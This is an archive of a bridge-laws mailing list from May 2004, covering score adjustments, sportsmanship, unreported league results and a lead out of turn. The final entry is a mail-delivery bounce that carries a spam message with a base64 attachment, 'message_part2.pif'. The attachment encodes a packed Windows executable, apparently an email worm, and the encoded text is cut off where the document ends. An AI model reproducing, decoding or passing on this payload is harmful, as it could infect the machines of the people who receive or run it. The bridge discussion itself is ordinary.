table, you have prevented this pair from achieving a good score. Of course, when you also assign N/S -660, E/W's team will get a good IMP score. But the principle forbids a good result for the offending pair; it says nothing about how their team may fare in the comparison between tables. Furthermore, as between the two principles ("Offenders should be deprived of a good table result," "Blunderers are stuck with their table result") the Laws nowhere assign absolute priority--or any priority at all--to the former. Colker is making it all up (and, of course, so is Wolff--but one expects that). From blml@blakjak.com Fri May 14 02:57:50 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 14 May 2004 02:57:50 +0100 Subject: [blml] Long Beach 39-40 In-Reply-To: References: Message-ID: James Hudson wrote >The underlying assumption of all three of these commentators seems >clearly wrong. The Laws nowhere say that the score adjustment >appropriate in a team game is different from that in pairs. If you >assign E/W -200 instead of the +660 they made at the table, you have >prevented this pair from achieving a good score. Of course, when you >also assign N/S -660, E/W's team will get a good IMP score. But the >principle forbids a good result for the offending pair; it says nothing >about how their team may fare in the comparison between tables. In fact, it goes further: it *does* tell you what to do [L86B]: you average the score. So for Colker, Wolff, or whoever to suggest alternative methods because it is k/o teams means they have gone against the Laws. Note that when you refer to teams and pairs you actually mean k/o teams and all other games. There is no problem with non-balancing adjustments at [say] round robin teams. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Fri May 14 02:43:44 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 14 May 2004 02:43:44 +0100 Subject: [blml] A new one In-Reply-To: References: Message-ID: wrote >>>:-) :-) :-) > >>Strange. My law book is different form yours. My L12C1 starts: >> >>'When, owing to an irregularity, no result can be obtained ...' >> >>Since we are dealing with a case where a result was obtained on each >>board my L12C1 does not apply. >> >>Nice try. >> >>David Stevenson > >Since we are dealing with a case where no result was obtained, >because the official score has *not* been made available for >inspection, my Law 12C1 does apply. > >Nice try. You are confusing the result on a board with an overall result. Consider you are playing in a tourney, and on the first board there is a UI adjustment. The TD uses L12C2 [or L12C3] since a result was obtained on the board. It matters not that the official score is not available for inspection, which of course it cannot be until the board is played many more times. In this case there was an agreed result on every board so L12C1 is not an option. Keep trying there .... -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From richard.hills@immi.gov.au Fri May 14 03:12:09 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 14 May 2004 12:12:09 +1000 Subject: [blml] The Masochism Tango Message-ID: David Stevenson: [snip] >>>>no need to use such unnecessary emotive >>>>words. It is just legal, ethical, and >>>>what my opponent deserved! Richard James Hills: Given the absence of a :-) at the end of David's posting, I cannot tell whether or not DWS was being deliberately ironical by using the unnecessarily emotive words "what my opponent deserved!" :-) Marvin L. French: >>>And unsportsmanlike. >>> >>>Note this is not an illegal waiving of a >>>penalty, as there is no penalty to waive. >>>Like ignoring an out-of-turn action or >>>insufficient bid, players need not call >>>attention to an irregularity when they >>>feel it will do no damage and the >>>prescribed penalty would be inappropriate. David Stevenson: >>I consider the prescribed penalty *is* >>appropriate. Does that mean I am >>unsportsmanlike? Richard James Hills: In an earlier posting, I hypothesised that the concept of "sportsmanship" was *not* relevant to rulings under Law or regulation. Thomas H. Huxley: >The great tragedy of Science - the slaying >of a beautiful hypothesis by an ugly fact. Richard James Hills: But Grattan slew my hypothesis by revealing a regulation for WBF events which requires players to exercise "sportsmanship". Therefore, suppose that DWS is playing in a 7H contract in a WBF event. DWS has wall- to-wall winners in his 7H contract, with his only technical problem being a missing ace of trumps. DWS plays out the contract, an opponent perpetrates an established revoke before the ace of hearts has been taken, and DWS scores up +2210. Would the WBF "sportsmanship" regulation have required DWS to previously instantly claim for one down, before an opponent had any opportunity to revoke? If so, does the WBF "sportsmanship" regulation permit the TD to adjust DWS's score from +2210 to -100? Best wishes RJH From david.barton@boltblue.com Fri May 14 07:41:49 2004 From: david.barton@boltblue.com (David Barton) Date: Fri, 14 May 2004 07:41:49 +0100 Subject: [blml] A new one References: Message-ID: <000401c4397e$8a3afa40$0307a8c0@PlusNet> I have a rather different take on this to the majority of contributors. I would be surprised if the regulation covering the submission of results was not framed such that it was the responsibility of the winning team to communicate the result to the League Secretary. I would suggest this responsibility is not discharged by entrusting delivery to any other party irrespective of whether that party is (a) the local bridge club (b) the national postal service (c) an internet service provider (d) the local supplier of carrier pigeons. Furthermore BOTH teams must take some responsibility for not noticing that the result was not included in the League tables published from time to time. If attention had been brought to this while memories were fresher then the problem may have been avoided. If I was the tournament committee for this league I would award something like 20-3 VPs (on a 30-0) scale. I would expect this to be legal under regulations governing the running of the league rather than an issue to be covered by the FLB. If this resulted in either of the teams failing to win the league or being relegated, I would consider it fairer than depriving some other faultless team by guessing a generous "estimated" score. ********************************** David.Barton@BoltBlue.com ********************************** From svenpran@online.no Fri May 14 07:51:21 2004 From: svenpran@online.no (Sven Pran) Date: Fri, 14 May 2004 08:51:21 +0200 Subject: [blml] One ring to rule them all In-Reply-To: Message-ID: <000001c4397f$ddb65380$6900a8c0@WINXP> > richard.hills@immi.gov.au > For Aussie experts, the one pairs event that will bring > them all together, and find them playing extended rounds > against each other, is the Australian Open Butler Pairs. > > In the 7-table Stage 3 final of the Butler Pairs, each > pair plays a round-robin of 14-board matches against > each other pair. To minimise slow play and maximise > security, each of the 7 tables has its own pre-duplicated > set of boards. > > But in one of these matches, the sponsoring organisation > has prepared a nasty surprise for the directors, which > will in the darkness bind them. > > At a particular table, while the cards were correctly > duplicated, 9 of the 14 boards were mislabelled with > erroneous vulnerabilities. > > How would you rule? Law 2: "... No board that fails to conform to these conditions should be used. If such board is used, however the conditions marked on it apply for that session". So they have played boards which cannot be compared with any other board in the event. A+/A+ Sven From svenpran@online.no Fri May 14 08:18:26 2004 From: svenpran@online.no (Sven Pran) Date: Fri, 14 May 2004 09:18:26 +0200 Subject: [blml] A new one In-Reply-To: <000401c4397e$8a3afa40$0307a8c0@PlusNet> Message-ID: <000101c43983$a67d1210$6900a8c0@WINXP> > David Barton > I have a rather different take on this to the majority of = contributors. >=20 > I would be surprised if the regulation covering the submission of = results > was not framed such that it was the responsibility of the winning team > to communicate the result to the League Secretary. I would suggest > this responsibility is not discharged by entrusting delivery to any = other > party irrespective of whether that party is > (a) the local bridge club > (b) the national postal service > (c) an internet service provider > (d) the local supplier of carrier pigeons. If regulations stipulate that the result report should be handed in to = the club hosting the match then this club has formally been appointed (by = SO) to act as agent (on these matters) for the SO and the teams have completed their duties on that match once they have handed over the report to the club. According to clarifications this appears to having been the case = and then both teams are entitled to their best likely scores, i.e. 25-8. If regulations stipulate that the report should be handed/brought/sent = to the SO and a club official offers or accepts to forward this report then = the club acts as agent for the teams and the teams have NOT completed their duties until it is confirmed (for instance by publishing the result) = that the results have reached the SO. In this case the result should be = recorded according to what the regulations stipulate for matches where no result = has been reported. > Furthermore BOTH teams must take some responsibility for not noticing > that the result was not included in the League tables published from = time > to time. If attention had been brought to this while memories were = fresher > then the problem may have been avoided. This ought to be obvious, but apparently wasn't. =20 Sven From blml@blakjak.com Fri May 14 14:00:46 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 14 May 2004 14:00:46 +0100 Subject: [blml] The Masochism Tango In-Reply-To: References: Message-ID: RJH wrote > > > > >David Stevenson: > >[snip] > >>>>>no need to use such unnecessary emotive >>>>>words. It is just legal, ethical, and >>>>>what my opponent deserved! > >Richard James Hills: > >Given the absence of a :-) at the end of >David's posting, I cannot tell whether or not >DWS was being deliberately ironical by using >the unnecessarily emotive words "what my >opponent deserved!" > >:-) > >Marvin L. French: > >>>>And unsportsmanlike. >>>> >>>>Note this is not an illegal waiving of a >>>>penalty, as there is no penalty to waive. >>>>Like ignoring an out-of-turn action or >>>>insufficient bid, players need not call >>>>attention to an irregularity when they >>>>feel it will do no damage and the >>>>prescribed penalty would be inappropriate. > >David Stevenson: > >>>I consider the prescribed penalty *is* >>>appropriate. Does that mean I am >>>unsportsmanlike? > >Richard James Hills: > >In an earlier posting, I hypothesised that >the concept of "sportsmanship" was *not* >relevant to rulings under Law or regulation. > >Thomas H. Huxley: > >>The great tragedy of Science - the slaying >>of a beautiful hypothesis by an ugly fact. > >Richard James Hills: > >But Grattan slew my hypothesis by revealing >a regulation for WBF events which requires >players to exercise "sportsmanship". > >Therefore, suppose that DWS is playing in a >7H contract in a WBF event. DWS has wall- >to-wall winners in his 7H contract, with >his only technical problem being a missing >ace of trumps. > >DWS plays out the contract, an opponent >perpetrates an established revoke before the >ace of hearts has been taken, and DWS scores >up +2210. > >Would the WBF "sportsmanship" regulation >have required DWS to previously instantly >claim for one down, before an opponent had >any opportunity to revoke? > >If so, does the WBF "sportsmanship" >regulation permit the TD to adjust DWS's >score from +2210 to -100? No idea - but this is different from the earlier case. If I have twelve tricks minus the ace of trumps then I claim. I consider it unsportsmanlike to play them out in case the opposition revoke. But if I have a reason ot play on - 12 tricks is not guaranteed, perhaps - and an opponent's revoke gives me 13 then I have made the grand slam ***ethically***. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From ereppert@rochester.rr.com Sat May 15 04:15:08 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 14 May 2004 23:15:08 -0400 Subject: [blml] How do you rule? Message-ID: <11EE85DA-A61E-11D8-BA3C-0030656F6826@rochester.rr.com> At the club tonight, the following sequence of events occurred: 1. West, in 1NT, calls for a low diamond from the board (KT54) 2. East, dummy, says "you're in your hand." 3. North says "I'll accept the lead." 4. West faces the two of diamonds. 5. West says to North "you can't accept the lead, your partner has to do that." 6. North says "let's call the Director". 7. West puts the two of diamonds back in his hand. 8. the director arrives, North relates events 1 through 3, 5 and 6. Your ruling, please? From richard.hills@immi.gov.au Sat May 15 04:57:08 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Sat, 15 May 2004 13:57:08 +1000 Subject: [blml] The Masochism Tango Message-ID: Richard James Hills asked: [big snip] >>If so, does the WBF "sportsmanship" >>regulation permit the TD to adjust DWS's >>score from +2210 to -100? David Stevenson replied: > No idea - but this is different from >the earlier case. > > If I have twelve tricks minus the ace >of trumps then I claim. I consider it >unsportsmanlike to play them out in case >the opposition revoke. > > But if I have a reason to play on - 12 >tricks is not guaranteed, perhaps - and an >opponent's revoke gives me 13 then I have >made the grand slam ***ethically***. Richard James Hills infracts netiquette: I fully agree with DWS's hair-splitting distinction between proper use of Law 72A4 and proper use of "sportsmanship". Best wishes RJH From gordon@gordonrainsford.co.uk Sat May 15 10:27:59 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Sat, 15 May 2004 10:27:59 +0100 Subject: [blml] How do you rule? In-Reply-To: <11EE85DA-A61E-11D8-BA3C-0030656F6826@rochester.rr.com> References: <11EE85DA-A61E-11D8-BA3C-0030656F6826@rochester.rr.com> Message-ID: <283A694A-A652-11D8-8834-0003936A6522@gordonrainsford.co.uk> On 15 May 2004, at 04:15, Ed Reppert wrote: > At the club tonight, the following sequence of events occurred: > > 1. West, in 1NT, calls for a low diamond from the board (KT54) > 2. East, dummy, says "you're in your hand." > 3. North says "I'll accept the lead." > 4. West faces the two of diamonds. > 5. West says to North "you can't accept the lead, your partner has to=20= > do that." > 6. North says "let's call the Director". > 7. West puts the two of diamonds back in his hand. > 8. the director arrives, North relates events 1 through 3, 5 and 6. > > Your ruling, please? LAW=A055 - DECLARER'S LEAD OUT OF TURN A. Declarer's Lead Accepted If declarer has led out of turn from his or dummy's hand, either=20 defender may accept the lead as provided in Law=A053, or require its=20 retraction. The lead out of turn from dummy was accepted. The card from declarer's=20= hand is irrelevant - it just goes back in the hand. I'd encourage them all to call the director *before* trying to make=20 their own rulings, rather than after failing. -- Gordon Rainsford London UK= From gordon@gordonrainsford.co.uk Sat May 15 10:38:30 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Sat, 15 May 2004 10:38:30 +0100 Subject: [blml] How do you rule? In-Reply-To: <283A694A-A652-11D8-8834-0003936A6522@gordonrainsford.co.uk> References: <11EE85DA-A61E-11D8-BA3C-0030656F6826@rochester.rr.com> <283A694A-A652-11D8-8834-0003936A6522@gordonrainsford.co.uk> Message-ID: On 15 May 2004, at 10:27, Gordon Rainsford wrote: > > On 15 May 2004, at 04:15, Ed Reppert wrote: > >> At the club tonight, the following sequence of events occurred: >> >> 1. West, in 1NT, calls for a low diamond from the board (KT54) >> 2. East, dummy, says "you're in your hand." >> 3. North says "I'll accept the lead." >> 4. West faces the two of diamonds. >> 5. West says to North "you can't accept the lead, your partner has to=20= >> do that." >> 6. North says "let's call the Director". >> 7. West puts the two of diamonds back in his hand. >> 8. the director arrives, North relates events 1 through 3, 5 and 6. >> >> Your ruling, please? > > LAW=A055 - DECLARER'S LEAD OUT OF TURN > A. Declarer's Lead Accepted > If declarer has led out of turn from his or dummy's hand, either=20 > defender may accept the lead as provided in Law=A053, or require its=20= > retraction. > > The lead out of turn from dummy was accepted. The card from declarer's=20= > hand is irrelevant - it just goes back in the hand. > > I'd encourage them all to call the director *before* trying to make=20 > their own rulings, rather than after failing. I guess I should have included this too: LAW=A053 - LEAD OUT OF TURN ACCEPTED A. Lead out of Turn Treated as Correct Lead Any lead faced out of turn may be treated as a correct lead. It becomes=20= a correct lead if declarer or either defender, as the case may be,=20 accepts it (by making a statement to that effect), or if the player=20 next in rotation plays to the irregular lead, From Mailer-Daemon@mx4.123-reg.co.uk Sat May 15 14:30:52 2004 From: Mailer-Daemon@mx4.123-reg.co.uk (Mail Delivery System) Date: Sat, 15 May 2004 14:30:52 +0100 Subject: [blml] Mail delivery failed: returning message to sender Message-ID: This message was created automatically by mail delivery software (Exim). A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: ljw@stonehorse-atelier.co.uk forced failure: ------ This is a copy of the message, including all the headers. ------ Return-path: Received: from 82-33-168-249.cable.ubr06.wiga.blueyonder.co.uk ([82.33.168.249] helo=stonehorse-atelier.co.uk) by mx4.123-reg.co.uk with esmtp (Exim 3.36 #2) id 1BOzFZ-0008UM-00 for ljw@stonehorse-atelier.co.uk; Sat, 15 May 2004 14:30:49 +0100 From: blml@rtflb.org To: ljw@stonehorse-atelier.co.uk Subject: Re: Thanks! Date: Sat, 15 May 2004 14:30:52 +0100 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0005_000076CC.0000446A" X-Priority: 3 X-MSMail-Priority: Normal Message-Id: This is a multi-part message in MIME format. ------=_NextPart_000_0005_000076CC.0000446A Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Please read the attached file. ------=_NextPart_000_0005_000076CC.0000446A Content-Type: application/octet-stream; name="message_part2.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="message_part2.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 